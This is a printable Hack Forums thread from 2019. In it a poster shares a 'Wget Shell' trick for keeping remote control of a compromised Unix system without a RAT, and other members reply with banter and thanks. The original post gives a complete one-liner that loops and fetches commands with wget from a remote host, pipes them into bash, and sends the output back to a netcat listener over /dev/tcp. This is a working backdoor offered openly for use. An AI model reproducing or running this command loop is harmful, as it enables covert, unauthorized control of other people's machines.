![]() |
|
Remote Control Without A RAT (Wget Shell) - Printable Version +- Hack Forums (https://hackforums.net) +-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45) +--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449) +---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4) +---- Thread: Remote Control Without A RAT (Wget Shell) (/showthread.php?tid=5968808) |
Remote Control Without A RAT (Wget Shell) - W32.DisTrack - May 10, 2019 This is a little trick I picked up recently. It may not be new, but it's interesting. Basically you can use wget to keep a foothold on a compromised system. Wget is a Unix file download utility that is preinstalled on most Nixes. Below is the big reveal. Code #!/bin/bashCode #!/bin/bashSo just fire up a netcat listener and the output of the commands will be visible. This can all also be implemented via one liner: Code for i in {1..9999}; do wget -q -O - hxxp://127.0.0.1:8080/cmd | bash &> /dev/tcp/127.0.0.1/31337; sleep 10; doneRE: Remote Control Without A RAT (Wget Shell) - SIMPR - May 11, 2019 (May 10, 2019 09:14 PM)W32.DisTrack Wrote: This is a little trick I picked up recently. It may not be new, but it's interesting. Basically you can use wget to keep a foothold on a compromised system. Wget is a Unix file download utility that is preinstalled on most Nixes. Below is the big reveal. netcat has been out there for a long time but thanks for the code it can actually help with bots RE: Remote Control Without A RAT (Wget Shell) - Faith Connors - May 11, 2019 (May 11, 2019 05:29 PM)Venom101 Wrote: netcat has been out there for a long time but thanks for the code it can actually help with bots if netcat was the only thing you got out of this post then you read it wrong. RE: Remote Control Without A RAT (Wget Shell) - SIMPR - May 11, 2019 (May 11, 2019 08:40 PM)Faith Connors Wrote: if netcat was the only thing you got out of this post then you read it wrong. nope not just netcat but thanks for reply RE: Remote Control Without A RAT (Wget Shell) - Psychedelic. - May 12, 2019 Interesting, thanks for posting this. RE: Remote Control Without A RAT (Wget Shell) - W32.DisTrack - May 12, 2019 (May 12, 2019 04:00 AM)xXGHOST72OXx Wrote: #!/bin/bash invalid sytax: "Luis is still a skid" (not a URL or IP address) nice try on the roast though. i'm sure it took you while to come up with. (May 11, 2019 05:29 PM)Venom101 Wrote: netcat has been out there for a long time but thanks for the code it can actually help with bots lol you're not wrong. thanks for reading. (May 12, 2019 05:41 AM)Psychedelic. Wrote: Interesting, thanks for posting this. np. thanks for reading. (May 11, 2019 08:40 PM)Faith Connors Wrote: if netcat was the only thing you got out of this post then you read it wrong. netcat is everything. it is the past, present, and future ;) RE: Remote Control Without A RAT (Wget Shell) - Lux Interior - May 12, 2019 Looks interesting. I'll definitely be giving it a try. Thanks for posting! L RE: Remote Control Without A RAT (Wget Shell) - Faith Connors - May 12, 2019 (May 12, 2019 06:38 PM)W32.DisTrack Wrote: netcat is everything. it is the past, present, and future ;) imagine not developing your own networking stack for your own meshing protocol that would use with your own handwritten payload and instead settling for using some old tool that only does tcp i shiggy diggy RE: Remote Control Without A RAT (Wget Shell) - W32.DisTrack - May 12, 2019 (May 12, 2019 08:40 PM)Faith Connors Wrote: imagine not developing your own networking stack for your own meshing protocol that would use with your own handwritten payload and instead settling for using some old tool that only does tcp When you have time to... (May 12, 2019 08:40 PM)Faith Connors Wrote: develop your own networking stack for your own meshing protocol that would use with your own handwritten payload and instead settling for using some old tool that only does tcp ... you let me know :) |